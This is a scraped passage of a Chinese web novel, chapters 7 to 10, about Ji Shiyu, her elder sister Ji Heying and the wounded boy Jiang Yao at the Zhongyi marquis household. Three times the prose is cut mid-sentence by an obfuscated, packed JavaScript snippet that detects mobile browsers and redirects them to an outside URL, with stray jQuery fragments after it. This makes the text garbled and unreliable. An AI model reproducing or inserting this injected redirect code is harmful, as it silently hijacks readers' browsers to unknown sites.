这七日姬时语雷打不动的来思芳院用膳,早膳、午膳、晚膳,顿顿不落下,江曜掐着时候,每回她都会在日暮之前赶来和他吃晚膳。
只不过——
第一日姬时语吃白斩鸡,江曜吃白粥。
第二日姬时语吃四喜丸子,江曜吃白粥。
第六日姬时语吃山药炖乌鸡,江曜吃白粥。
待第七日,江曜仍见端来的白粥,哑火了。
每日三顿饭,他连着吃三顿白粥。以往的他,能有饭吃已是万幸,能吃白粥他并未有何不满与怨念,只是……
狐狸眼之中浓墨的探视直直落于坐在他跟前的小姑娘身上,她小口吃着的饭食香味便就入了江曜鼻腔。
有这么个折磨人的家伙在身旁,吃得嘭香,饭菜又是那样的丰盛,真叫江曜饥肠辘辘。
江曜毫不怀疑,姬时语是故意的。
故意到他这儿来,让他只能看,不能吃。
江曜阴沉着脸再吃不下饭,他挠了下脑后的乌发,已有近一个月不曾洗发,蓬头垢面的,发丝几乎粘黏,摸着很是不适。
若非在忠义侯府,他这头发早就生了一窝的臭虫蝼蚁。
真是闹不懂了,就他这副鬼样子,味道难闻至极,姬时语还能视若无睹丝毫不介怀地坐在那处,抱着吃食吃那么香?
江曜垂下墨瞳道:“我想净发。”
姬时语放下碗筷,她擦拭唇边,抬眼见少年恼火地揪头发,便唤来萍柳,问她:“林爷爷可说了江池生能下水?”
萍柳掰着手指,“小姐,算时日,应是可行了。”
“那就让几个人过来,带他去净发。”
姬时语择了五六个丫鬟,再又挑了两个小厮,江曜见她如此声势浩大,眼瞳缩了又缩,后板着脸拒道:“不用,我自己可以。”
“不,你不可以。”
姬时语无视了江曜,丫鬟们便依着她的吩咐,一面烧水送去浴房,一面又将林大夫开的药材泡在木桶之中,萍柳从姬时语房里取来了皂膏,以便洗发而用。
都妥当后,姬时语满意点头,喊来小厮们,指了指江曜,“你们抬他进去。”
江曜想要抗拒,可腿脚不便,在姬时语眼皮子底下,他还是放弃乱动,由着下人们抬他进去净发沐浴。
姬时语在后不忘叮嘱,“小心点他的伤。”
江曜入了浴房不过一刻钟,还未出差错,姬时语刚松口气,顷刻间里屋传出一阵噼里啪啦的响动。
“够了,别碰我!”
“出去,都出去!”
姬时语听着里头,不清楚发生了何事,江曜暴跳如雷,怒吼着就要赶人。
几个丫鬟们陆陆续续出了浴房,一行人见姬时语便候在外头,满腹委屈至极。
“小姐,那江公子不允奴婢们近身,稍碰一下便动手,好凶啊。”
“是啊,小公子像要吃人,太吓人了。”
姬时语算是看出来了,江曜只留了两个小厮在浴房,丫鬟们无可奈何近不了他身,她便摆摆手让人都退下去了。
不多时,两个小厮抬着江曜出了浴房,他那头乱糟糟的乌发被洗净,正湿漉漉地披在脑后,随着他的挪动,不住地淌水。
在忠义侯府养了近一个月,江曜脖颈、脸颊那些细小的伤口已是愈合,结了的痂掉落后,生出新的、红润的血肉,再由一番梳洗,整个人焕然一新。
少年的模样本就夺目,姬时语注视着他干净的脸蛋,没忍住裂开嘴笑了。
嗯,这样果然舒服的多。
姬时语笑得眉眼弯弯,江曜在床榻坐定,她顺手取来巾帕,凑近便要给他擦发,谁知少年似察觉她的想法,一双拢着寒冰的狐狸眼抬起。
“我自己来。”
江曜抢过姬时语手里的帕子。
他打心底的不愿承认,此时此刻的他,便像被姬时语提着拎着送去沐浴的小狗,而她身为主子,极其耐心地擦拭小狗打湿的毛发。
不,他才不要。
江曜狠狠擦着发,鼻息间袭入香甜的玉兰花香,他捧着自己的发丝嗅了嗅,再一侧目。
姬时语没走远,她立在床边,有些专注地看他擦头。
那味道,自他发间传来的,竟是和她周身的甜腻气味,如出一辙。
江曜心头再度一震,这种打上了姬时语印记的意味令他有点想杀人,可咬了咬牙齿,终还是强压住继续擦发。
忠义侯府五小姐的怜悯心当真太泛滥,随手在路上捡了他这样的野狗,是真不怕被反咬啊?
呵,他还真想咬她了。
……
午后,姬时语回屋小憩。
午睡醒来,她起身揉了揉惺忪的眼,她迷迷糊糊下床,未察觉绣花鞋穿错了脚。
在这时萍亭小跑进屋,满脸洋溢喜色,“小姐,小姐!您的桂花蜜来了!”
萍柳欣喜回:“大小姐回府了?”
“姐姐?”
听桂花蜜,姬时语哪里不明晓是她的大姐姬合英自边关回了京,是姐姐啊!
有多久没见到姐姐了?
一切重来之后,姬合英已不在姬府,她跟随姬雄武去往了边关岭西,直至今日才归京。
她好想姐姐啊,想那个仍风华正茂,没出嫁的姐姐!
姬时语顾不上穿鞋,错脚的鞋子被她蹬飞,拎着裙摆就想往外闯。
萍亭萍柳见状两人飞快捉了她胳膊,一人一边,又将人捉回,老老实实地坐回去穿好鞋袜。
待她穿好鞋袜,屋门已被人推开,来人霎时隐去肃气,轻轻笑开,“阿锁!”
“姐姐!”
姬时语直冲冲扑了过去,没想到小丫头力道不小,直撞得姬合英“哎哟”一声,却还是站稳了,将人满满当当的接住。
姬合英有些无奈,想拉开她,“阿锁,姐姐还未换盔甲呢。”
“姐姐,姐姐……”
姬时语不管,身前是硬梆梆的银甲,玉白的脸蛋都被撞得生了红,可她依然紧紧抱着自家姐姐,磨蹭着,死也不撒手。
“姐姐,我好想你。”
听到这话,不多时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040557|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怀里的小姑娘抽抽巴巴的,泪珠嘀嗒,呜咽落泪。
姬合英那张英气蓬勃的脸也是强忍痛意,抬起手指给她抹小珍珠。
从前姐妹俩不是没分开过,她同样随父亲去过几次岭西,可哪有这一回让姬时语如此落泪的?
姬合英大姬时语六岁,都说长姐如母,儿时的姬时语就是个小白团子,老缠着姬合英撒娇,那时候姬时语身子不好,可她娇气滴滴不肯吃药,非要姐姐抱。
没得办法,姬合英只能一手抱她,一手哄她吃药。
姬时语又喜欢趴在她肩头,习武的姬合英力气大,就抱着妹妹骑在她肩膀上玩耍。
睡不着的时候,小丫头也是眼泪汪汪的,哭着要姐姐陪。
姬合英的手掌生有老茧,抚摸着姬时语白嫩的脸蛋,微微生疼,她哄道:“莫哭了,哭多了不好看,阿锁可是天底下最漂亮的小丫头呢。”
“姐姐!”
姬时语抱紧姬合英的脖子,眼睛红红。
她哭不是分开之久,而是前世那么好的姐姐无疾而终,她那么煞费苦心的保护自己。
这一世,换她来护着姐姐吧。
“我给你带了爱吃的桂花蜜,可要?”
“要,我要!”
姬合英笑笑,还是吃食能拿捏忠义侯府的五小姐,她让丫鬟去取桂花蜜,这面牵着姬时语的手,不时问她近来身体可还好,姬时语一一应了是。
而这些时日忠义侯府发生的那档子事,萍亭亦是尽数告知于姬合英。
“你从辽城带了个小乞儿回来?”
姬合英一双眼犀利几分,不解地看姬时语。
“姐姐,那时候他被打的头破血流,我路上看见哪里忍心?辽城的大夫又说他一边瘸了,一边聋了,留在那定要死。我只好求娘带回京,让林爷爷给他治病。”
姬时语心下早有对策,抱着姬合英手臂摇晃,“等他病全好了,我再让人给他送走。姐姐,好不好嘛!”
姬合英叹了口气,揉揉妹妹的脑袋,“阿锁心善,你都考虑周全了,便依着你的。”
姬时语悄悄吐了吐舌头。
她才不会说,她就是在等姐姐和父亲归京,只要父亲亲眼见过江曜,便决计不会让人离开京城。
忠义侯府,能识得江曜真实身份的,唯有父亲姬雄武了。
姬合英又问:“他如今如何了?”
姬时语微红的圆眼眨巴,她牵过姬合英的手,蹦蹦跳跳地往外走。
……
思芳院内。
江曜窝在床榻之中捧着画册,姬时语怕他无趣,搜罗了数图画册子,各色应有尽有,他翻看几眼,丢到一旁,却在这时,耳尖地听到小姑娘的笑声。
“姐姐,是这里。”
江曜只见姬时语牵着一位个头稍高的少女入了屋,脸蛋还有微红,却是如白面的又娇又软。
姬合英束着高马尾,发髻仅用一根玉簪别起,她一身玄衣,身姿挺拔。
与姬时语说话时她笑意温和,骤然瞥向江曜的刹那,寒意直溅。
“你叫什么?”
江曜下意识开口:“江池生。”
姬合英沉思,“多大了?”
“十三。”
两人一问一答,姬时语看着江曜蹙眉。
这人怎么在姐姐这儿如此乖巧,换到她那儿便一通又咬又凶的,亏她好吃好喝招待着,真是岂有此理!
8. 第 8 章
饶是一路上听萍亭萍柳说了无数关于江曜之事,还有姬时语几番的作保证,可亲眼见到江曜的那一刻,姬合英还是微微诧异。
无他,这样一个十三岁的少年,还是个小乞丐,生得也太过漂亮了些。
忠义侯府素来不与任何别府结怨,姬合英思索了太多,她不怕一万,只怕万一,疑窦着江曜不怀好意的可能。
她的妹妹姬时语是再纯真善良不过的小姑娘,万一歹人骗了她的妹妹呢?
“姐姐,我跟你讲。”
姬合英的眸子愈发深邃幽暗,这时姬时语拉着她的手不住晃了又晃,小姑娘家尾音挑起,撒娇就道:“你别看他这会儿干干净净唇红齿白的,那时候我和娘在辽城碰见他,他浑身上下没一处不脏兮兮呢!”
“那还真是如同一条流落街头的小狗。”姬合英说时不带情绪。
姬时语嘟起嘴,“姐姐,我们留他在府里,可好?”
江曜微微垂头,压下眼角流露的阴沉。
姬合英叹气,“阿锁,你想留他那就留吧,不过,父亲那面,要你自己去说服。”
“我就知道姐姐最好啦!”
姬时语一个大跳就扑到姬合英身上,身为长姐的姬合英下意识就张开手臂,将她最疼爱的妹妹抱了个满怀,她无奈笑笑。
姬合英想,阿锁喜欢,那就随她。一个小乞丐罢了,忠义侯府不是养不起。
若是此人有歹念,她为长姐,定会替她的妹妹讨公道。
江曜浅淡的余光中,不经意间瞥见姬合英搂着姬时语轻笑,睨他的冰冷目光。
那是一股无声的警告。
再一看,便是小姑娘背着自家姐姐偷偷给他递了一记喜悦的目光。
姬时语才不会想那么多。
姬合英既然说了,姬雄武那头要她去说动,只要姬雄武见了江曜,一切都应难而解。
姬合英一手抱着自家妹妹,另一面摆向江曜,“江池生,这里乃是忠义侯府姬家,我妹妹既然应了要帮你到底,你就在这里安心养病,忠义侯府会拿你以贵客而待之。”
“多谢大小姐,多谢……五小姐。”
江曜似要爬起身,可腿伤不便,只能在床上做了个别扭的姿势。
这样乖顺的姿态令姬时语又是不满嘟嘴。
突然,她眼神飞快在江曜和姬合英两人之间打转。
一面是听话的狐狸眼少年,一面是英气逼人的长姐,闪电炸开了花似得在她脑中噼里啪啦劈下。
前世江曜钟情三皇子妃柳眉,即使她已嫁为人妻,仍旧强硬地将她掠走。
姬时语依稀记得柳眉长江曜三岁,生为家中嫡长女的典范。
而今她的长姐姬合英,同样长江曜三岁,若说江曜钟情的便是长姐这般模样的……
姬时语一阵后背起了冷汗,她再抱不住姬合英,跳下她身边,作势挡在长姐身前,盯着江曜语气不善。
“江池生,不论如何,我说到做到,定会善待你。即便你病好要离了忠义侯府,你想去哪,我都会帮你。”
姬时语目光咄咄逼人,前世没救江曜是她的错,为此她愿意受到应有的惩罚,但前世今生唯有一点乃是她的禁忌,那便是她在乎的家人,“可……”
姬时语本想说“不准你对我的姐姐动心思”,末了,又觉得自己有点矫情,许是她多想了呢?
因而,她话锋一转,改口道:“不管怎样,我们救你,你就当是老天爷想我做善事吧,旁的,没有了。”
江曜一双狐狸眼浮现点点深究。
搁在他面前的小姑娘,那张瓷白的面庞,几度变换五彩纷呈的神情,他有些想笑。
姬时语实在太好懂了,甚至于她的圆眼里干净的没有杂质,便连那颗心,亦是纯真良善的。
她的心思可都写在了脸上。
那变换的神色,挂满了“我不准你动我姐姐”。
江曜沉了眉冷笑,姬时语会生出这样的念头,因为他看向姬合英的目光久了点?
他端望姬合英,只是好奇。
长女姬合英那双手上,布满了老茧,一看便是习武多年。而小女儿姬时语却是白白嫩嫩,乃被精心呵护的娇花。
姬家大房一脉,两位嫡出小姐,却生来截然不同。
自古都道男儿习武,还鲜少见女子常年习武一身好武功,江曜想,忠义侯府确实不比别家,大将军姬雄武对两位女儿更是不一样的宠爱。
好奇归好奇,他对姬合英无其他心思。
姬时语却误会了。
这很荒唐又可笑,江曜想着便发笑,竟生不起气恼,他垂眸应:“嗯,我知道是姬家救我一命。”
姬时语狐疑地看江曜,半晌之后,她牵住长姐姬合英的手,拉着人便往外走。
“姐姐,父亲几时才能回府啊?”
“还要三日,怎么了?”
“嗯~我要看父亲给我带了什么。”
“姐姐那还有你要的好吃的,好玩的。”
“我要我要我要,都是阿锁的宝贝!”
江曜听着姐妹俩的声音远去。
……
姬雄武还要三日才能归来,姬时语撑着下巴幽幽叹了一口气,她从未觉着日子这样难熬。
最初她见到江曜的时候,脑子似乎被前世那股执念冲昏了头,不假思索地便想着,定要带他回府。
眼看他从奄奄一息濒死之中强拉回生的岸边,那颗惴惴不安的心才回到归处。
姬时语抬手摸了摸自己的胸口。
是啊,江曜在姬府愈渐好转,连带她这心病都好了呢!
若是如这一世的打算,父亲归来之后,她将江曜交给父亲,再由父亲送江曜回楚王府认祖归宗,她也算平了前世的心愿吧?
姬时语美滋滋地想,只要把江曜这事解决了,其余的,便是安心守着她的家人,这一世都要平平安安的。
那样,她便再高枕无忧了。
抬头之间,圆月当空,夜幕已深,姬时语伸长双手,浅浅打了个哈欠,此刻的她宛如小猫儿似的懒散。
萍亭的声音在身后响起,“小姐,该睡了。”
姬时语嘴巴却有些馋了,“萍亭,我想喝桂花蜜。”
“小姐,您今日已喝了一杯了。”萍柳道。
“我还要嘛,喝完我就去睡了。”
萍亭应后,刚要出屋,就见姬时语探了个小脑袋出来,“好萍亭,你多倒一杯回来!”
“小姐?”
“快去快回!”
姬时语摆摆手,让萍亭赶忙去舀她心爱的桂花蜜了。
姬合英令人发指的宠妹,姬时语喜欢岭西的桂花蜜,她便命人拖了三罐回来,还都用冰块冰着。可到了京城,怕姬时语喝了太凉,她吩咐过多次,定要煮热了再倒给姬时语喝。
当萍亭捧着两杯热乎乎的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040558|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
桂花蜜折返时,姬时语已自行穿好了褙子,她噔噔噔便带着桂花蜜跑出院子。
甜甜的蜜香随晚风吹拂,分外勾人。
不知不觉,姬时语走到了江曜住的小院。
她想到待父亲归来,江曜便要离开忠义侯府了,算时日,也不过再待三日。
他养伤的日子,她做了承诺,信誓旦旦说会请江曜吃香喷喷的食物,可她却没信守承诺。
这不好。
姬时语捧着桂花蜜,低头沿着青石路行走,脚尖不自觉就踢了几颗小石子。
石子咕噜噜地滚动,拨开野草芦苇,一颗、又一颗扑腾落进了湖中。
涟漪一圈圈荡开,月光倾泻而下,一道身影出现在姬时语的瞳孔之中,她站定在了原处,脚下仿若生了根。
湖中的少年赤_裸着上身,他背对着她,月色笼罩之下,洁白的光点便落在他的双肩与后背。
姬时语从未如此清晰的望见,少年不过十三岁的身躯,露着一道道纵横蜿蜒、丑陋崎岖的伤疤。
那些疤痕如同长条的蜈蚣,爬满了他的后背,有的旧伤已成了黑红,还有的新伤才愈合,长出粉嫩的新肉。
姬时语是个怕疼的,她连喝药都觉得太苦涩。
前世今生为了这副破败的身子,小时候她受过几个疗程的针灸。
当那细长的银针刺穿她的肌肤,从手腕的另一头穿过时,她在舒氏怀中哇哇大哭。
儿时她贪玩,姐姐姬合英随父在练功场习武,她耍了性子也要去学,却被尖锐的刀剑刺破了手心。
姬时语不记得自己哭成什么样,但定然是疼了她好久。
因为娇气太怕疼了,爹娘疼她,不让她碰刀枪,更不允习武。
可每每见到姐姐身上新添的伤,她都会心疼地掉下眼泪。
姬合英是知道的,她太能感同身受,如同她自己被伤。
如今姬时语见到江曜伤痕累累的后背,那些陈年旧伤,一寸寸伤在人的肌肤之上,活生生刮开血肉,见到血骨。
该有多疼啊。
姬时语的后背仿佛让人抽打,落下鞭子,滚开皮肉,她咬着嘴唇,眼底有泪花蓄起。
胸口闷,心也隐隐作痛。
好疼、好疼。
风中伴随小姑娘隐忍的哭声,江曜转了头。
他就那么看见月光下,小姑娘捧着茶杯,白嫩的脸颊无助掉着眼泪,那双灵动的圆眼愠着说不尽的心疼。
江曜喉结滚动,他害怕看她纯净的眸子,也畏惧她流露出这样的意味。
“你别这样。”
江曜恨不得将自己埋入水里,让姬时语再看不得。
如若他是岸边的一颗芦苇就好了,或是水里的一条鱼,那样他便能轻易面对这样的姬时语了吧。
姬时语咬唇,努力压住抽噎,“你转过去,不要看我……”
她才是难为情,该死的眼泪没忍住,她是感受到了江曜的痛苦才会哭,可掉了眼泪,后又感到丢脸。
两人之间弥漫着无言的窘迫,水波轻荡,湖里的江曜还是自觉地背过了身。
还好夜深人静。
江曜如此想。
可偏偏在这时,后背贴上一具温热,随之而来的还有桂花蜜的香甜。
“你一定很疼吧?”小姑娘轻声问。
姬时语的眼泪似乎打在了他裸_露的后背,烫得他早年痊愈的伤疤都生了疼。
9. 第 9 章
江曜脑子混乱如麻,偏这个时候后背被那泪水滚烫。
又有一只冰凉凉的小手在轻轻抚摸他背后的伤疤,一冷一热,他神色惊恐慌乱,登时便要从水里起身,逃离这让人着魔的困境。
身形才一动,他又僵住了,他的亵裤已是湿透,贴着大腿。
江曜咬牙切齿,该死的,怎么就在此刻碰到姬时语,还被她缠住了。
他低吼了一声,“你闭眼。”
后也不管姬时语是不是真的闭眼,江曜抬手便去摸衣物,风吹云卷似得飞快披在身上,盖住自己惨烈的身体。
转过身,姬时语还立在原地,她一手捧着茶杯,一手捂住双眼,乖得不像话,真的听了他所言。
月色朦胧之下,唯有她甜软的嗓音,“我可以睁眼了吗?”
“嗯。”
江曜应后,姬时语挪开手心,两人直直对视。
小姑娘的眼圈红了,那双好看的猫瞳泛着水光,忆起方才她靠在他背上无声的抽泣,江曜便心口烦躁的很。
罢了,她不过是个小女子。
扭过头,他不自在说道:“你不要哭了。”
姬时语被他难得的关切弄得开怀,可是想起往事,她还是不免忧伤,她垂下头,头顶的两个丸子髻跟着垂落。
“没有,我只是看不得人受伤,我姐姐习武时就经常伤到,那时候我在练武场每每见她倒地,手上、背上都是血痕,我便抱着我姐姐哭……”
她说的哽咽,可到底还是忍住了,没有哭。
复而,一只冰冷的手触上了姬时语的手背,她定睛一看,竟是江曜的手。
下一刻,江曜缩回了手,他没有说什么,转身便要离开。
他的腿伤还未好全,没了拐杖,只靠自己未痊愈的断腿,行走间一瘸一拐,动作缓慢吃力,又倔强。
姬时语看的心疼,连忙提声:“江池生!”
江曜顿住身子,脚步停下,他没有回头。
“你不要多想,”姬时语说的着急,和着她周身独有的玉兰花香,与手中甜滋滋的味道一并缠绕在江曜身侧,“你的伤、你的病,都会好起来的!”
江曜再也无法克制,一股冲动呼之欲出,他问她:“你为什么救我?”
少年转身,清冷月色笼罩于他全身。
他是比月色还要阴冷三分,脖上那颗明艳红痣亮的夺目,衬托着一双狐狸眼比从前的哪一刻都要锋利。
这还是江曜苏醒之后,头一回这么直接了当地问询姬时语。
姬时语的脚踉跄了一步,她想了很多,想到前世江曜最后的时刻,满身是血倒躺在血里,直勾勾地看着她。
却什么都没问。
他若是能开口,会和今日一般质问她吧?
为什么不救,为什么又救他。
救与不救,全在姬时语的一念之间,可却于江曜是性命之忧。
姬时语明白,今日不给江曜答案,他不会罢休,可依着他乖张的性子,他不会想听某个回答。
斟酌之下,姬时语勾唇莞尔,笑意温柔,“我救你,自然是有缘由的。”
闻言,江曜的呼吸顷刻间急促。
“我觉得你会变得很强大,非比常人的厉害。”姬时语凝望着月色之下的冰冷少年,“所以我要你以后在我遇到危险的时候,来救我。”
她嗓音似随时能随夜风而逝,可江曜听得异常清楚。
她是那么认真、专注地看着他,只看着他。
姬时语眉眼弯弯,女孩弯了下腰,脸蛋凑到了他跟前,“江池生,就像那时我救了你那般。”
江曜也不知自己究竟在期盼什么,姬时语说完他心口又沉重了两分,但不得不说,那颗巨石确实是破碎分裂,令他心定。
“我可没应你。”
嘴唇蠕动了两下,他转过身,背对着姬时语,声音一如既往的冷硬,“那时是你非要自作主张救我,与我无关。”
“啊!”姬时语追上他的背影,她不依了,“你怎么这样?”
“是啊,我没说让你救我。”
“可我实打实救了你诶?”
“你可以不救我。”
“那你,那你……”
姬时语脑子绕晕了。
江曜之言说服了她,他说的不错,是她有些自作多情觉着定要救下江曜,她不该挟救命之恩要他偿还恩情。
思及此,姬时语如同霜打茄子,彻底蔫了。
江曜终于看她,阴郁的狐狸眼似乎夹了笑,“我怎么,嗯?”
姬时语把手里的蜜水塞入他怀里,这次是不由分说的,“你拿回去尝尝,我姐姐带回府的,可甜了!”
江曜蹙眉,“我不喝甜的。”
“不管,我让你喝你就得喝。”
姬时语不给他反驳的机会,送出手的东西就没有拿回来的道理,更何况她就是给江曜拿来才特意跑一趟,“就凭你现在还在我们忠义侯府,我还是你名义上的主子呢。”
主子?
江曜讥嘲一笑,眉眼阴冷。
也是,姬时语这样世家娇宠的小姐,寻个玩物,一时兴起罢了,她迟早腻了,就会如同丢破布一样弃了他。
她想玩,那他便陪着玩玩吧。
江曜接下了蜜水,他侧过头,心好似又硬了回去,“你可以回去了。”
“好,那我回去歇息了,是好困了呢。”
姬时语并未察觉他的异样,少年从入府至今都是一副生人勿进,她也就习以为常,看江曜收下,她扬手便挥了挥。
“祝你有个好梦,江池生。”
江曜凝着她娇小的身影钻入夜色之中,怔怔的,许久未动。
……
姬时语睡了个好觉,翌日起身时,嘴里还缠着几句“要蜜果”的梦话,萍亭捂嘴偷笑,给自家小姐把脸蛋擦拭干净。
姬合英已是归府,姬时语想念姐姐的很,也就不再赖床,梳洗罢了,她抬脚便去舒氏的海棠苑请安。
海棠苑中,姬合英换上常服,她一身银灰色圆领袍,身形飒飒,脑后乌发全由一根玉簪别住。
姬时语眼眸登的亮了,她刚要入内,便听舒氏落下一声叹息。
“你爹这意思,是说老太爷身子骨不太好了,合英,你从边关回来时,那时候老爷子的身体如何?”
姬合英英气的眉毛一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040559|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拧,“老爷子的身子一向硬朗,我走时他还康健的不行。”
姬时语缓步而来,她疑惑问两人,“娘,姐姐,你们在说什么,可是祖父病了?”
舒氏见小女儿到来,招手让她坐在自己身侧,先探手摸了摸她的手腕,看气温还算温暖,放下心后再道:“是你父亲的信件今日送到了,里头说老爷子病倒,他暂且不得归京,得过些时日再回府。”
“祖父病了!”
姬时语难以置信,她算着时日,就等两日后父亲归京,把江曜交给父亲,送他回楚王府。
现在姬老太爷和忠义侯镇守岭西,老太爷病倒,侯爷不论如何都不能归京,那江曜这尊大佛,就还得供在忠义侯府之内。
姬时语一时之间心情相当复杂,她盘算的都失策了,还得拖,还得缓,且眼下最急切之事,还是祖父的病。
她问舒氏,“父亲可还有说什么,祖母那面让人去说了吗?”
老夫人住在老宅,离京有六十里路,京中若有事,舒氏都会第一时告知三房的人。
舒氏点头,“说了,你父亲倒没提别的,只说让我们莫要担心,再来……”
末了,舒氏瞥眼看向了姬合英,姬合英被舒氏戏谑的眼瞧着,有些窘迫,她侧头摸了摸耳朵,说道:“娘,不要打趣我。”
舒氏笑道:“你父亲说是时候给你大姐看门亲事了,她到了年纪,这次回京便是有意给她说个亲。”
姬时语心头大警觉,“什么?!”
“你父亲看上了于家,他与于大人来往颇深,再来于家又出身将门,你大姐嫁过去最合适不过。”
舒氏笑脸而对,说起姬合英的亲事,当事人姬合英抱拳狠狠咳了几下。
姬合英道:“于家当真有那么好?”
“过几日我给于家下帖,请于夫人过府好了。”
“娘,大姐才归京,你舍得她立马嫁出去吗?”
一听是于家,就是前世迫害长姐,害长姐日夜以泪洗面的于家,姬时语哪里还坐得住。
她当即挽着舒氏的手臂撒娇,“娘,我舍不得姐姐,我们把姐姐再多留几年在家里,不行吗?”
舒氏未答,姬时语又喊:“姐姐!”
和舒氏撒娇不顶用,姬时语转身便扑进姬合英的怀里,抱住她的脖颈埋头闷声,已有了哭腔,“我不要姐姐那么早嫁人,姐姐,不要离开我……”
姬合英根本受不住妹妹躲在自己怀里哭,她一边摸着她后背安抚,一边小声道:“姐姐怎么会抛下阿锁不管呢,你永远都是姐姐最疼爱的妹妹。”
“姐姐……”
姬时语此时是真有点想哭,她最好的姐姐,这辈子绝对不能再嫁去于家受苦,她不允许!
“娘,要不这事再看看。”姬合英望向舒氏,妹妹在怀里像小猫儿一样,她亦是生出了不舍,“阿锁说的对,我才归京,成婚一事等祖父病好吧,我想喜事需得全府都喜气洋洋。”
舒氏叹气,倒没拒绝,“婚事可以推,娘和你爹哪里舍得嫁你出去?都是一样的,只不过先相看着吧,你爹给于家写了信,咱们也不好怠慢人家。”
姬合英点头,“好。”
10. 第 10 章
“唉。”
姬时语恹恹地趴在木雕花窗棂边,小脸靡靡叹了口气。
萍柳这时走来,抬头望了眼院内葱郁的柳树,柳树垂杨,柔条轻拂,那枝桠已长势大好。今年柳叶枝条定是悠悠绿荫,小姐可在树下纳个藤椅悠哉悠哉乘凉。
又不是枯树凛冬,小姐叹什么气呢?
萍亭道:“小姐,您可叹了第十八回了。”
姬时语扶着下巴转向她这面,萍亭便见自家小姑娘那娇小的脸蛋赫然映着一双乌黑的眼圈,浓密睫毛落下阴影,可都盖不住。
“小姐梦魇了?”萍亭心切。
“我是忧心忡忡啊!”
“小姐思虑什么呢?林大夫交代过,您要多宽心,少忧愁琐事。”
萍亭不懂,小姐整日乐呵乐呵的,却偶时又沉稳成熟俨然一副小大人模样。
好像只要与忠义侯脱不开干系的事,左也要担忧,右也要愁思。
小小年纪的,这般娇花的小姑娘就该和别府的小姐们同春游踏青,荡荡风筝也好,嬉笑打闹也好。
想那么多做什么?
萍亭想,即便姬时语想骑小马驹出府游玩,依着大小姐和夫人宠她的那个劲儿,亦会答应。
“可要奴婢去知会大小姐呢?”萍亭问。
“不要,我不想总让姐姐护着我。”
姬时语一把从座椅里蹦下来,她头顶双丸髻串着小铃铛,行走间铃声清脆,打在人心间,绵绵不绝。
刚在内室一踱步,姬时语又停下脚,“萍亭,你说我姐姐才归京,爹娘怎么就着急要嫁她出去?她就不能在忠义侯府多留几年吗?”
“大小姐已是及笄,芳龄十六岁,在大小姐这个年龄,京中贵女多是早已定下了亲事。也就是大小姐为忠义侯府的小姐,才嫁的晚了些。”
萍亭没说的是,忠义侯常年将姬合英带在身边,让她待在岭西,因而至今未曾议亲。
“咱们忠义侯府的姑娘也愁嫁啊!”
姬时语哪里不知道,她气恼的由头,全因镇国将军府于家。
越想越气,进一步她进不了,退一步心悸难治,姬时语一拍桌面,“啪”地一声,“好,我定要揪出于威的真面目,让姐姐看清楚。”
萍亭听着姬时语的豪言壮志,笑着摇头不语。
这时屋外的萍柳端着一蛊香蜜枇杷奶回来,她呈过来,姬时语迫不及待接下。
小姑娘嗷呜舀了一口枇杷果,酸甜酸甜的,这枇杷连核都被去了,果肉润滑爽口,好吃到她眯起眼。
“小姐,您吩咐奴婢打听的事儿……”
萍柳一顿,姬时语恍惚间想起要紧之事,因吃着枇杷,口齿不清,“你说说,如今楚王府是什么样的?”
姬时语叮嘱过韶华院的丫鬟,为她查办一件事,楚王府。
她既然捡回江曜,便铁心要让他名正言顺、堂堂正正的回到楚王府。
而祖父病重,父亲暂不得归京,她便先盘算楚王府是怎样一番,也好送江曜回去之后,他仍能安置妥当。
她盼着江曜能坐回属于自己的位置。
前世的楚小王爷,那就是他本该去的地方。
“老楚王仅有一子,十三年楚王世子承袭,受陛下册封为楚王。而后楚王爷迎娶王妃,不出一年,楚王妃诞下一子。楚王府当今的楚王世子,便是楚王妃的嫡子,名讳江子墨。”
“什么!”
姬时语坐不住了,手中的瓷勺“当”地撞击在瓷碗壁沿,与她头顶慌乱的铃铛声,一同响彻内室。
影影绰绰,枝间鸟鸣清脆,小姑娘便如惊起的小黄鹂。
“楚王府已有楚王世子了,还是楚王妃所出嫡长子?”
姬时语冲到萍柳跟前,抓住她手臂满心不敢置信喃喃,“楚王府怎么就有嫡长子了?”
“是,江世子乃楚王妃唯一的孩子,楚王府怕是不会再有第二个子嗣了。”
“你这话什么意思?”
姬时语听得后背发毛,她最不期望之事还是发生了。
萍柳道:“早在十三年前楚王便因摔下马落得双腿残废,他在床瘫痪十余年同死人无疑,老楚王是为王府承嗣考虑,这才选了一位楚王妃,并生下楚王世子。”
姬时语浑身脱力,她的手呆呆滑落,后无神地跌坐回去。
怎么会这样?
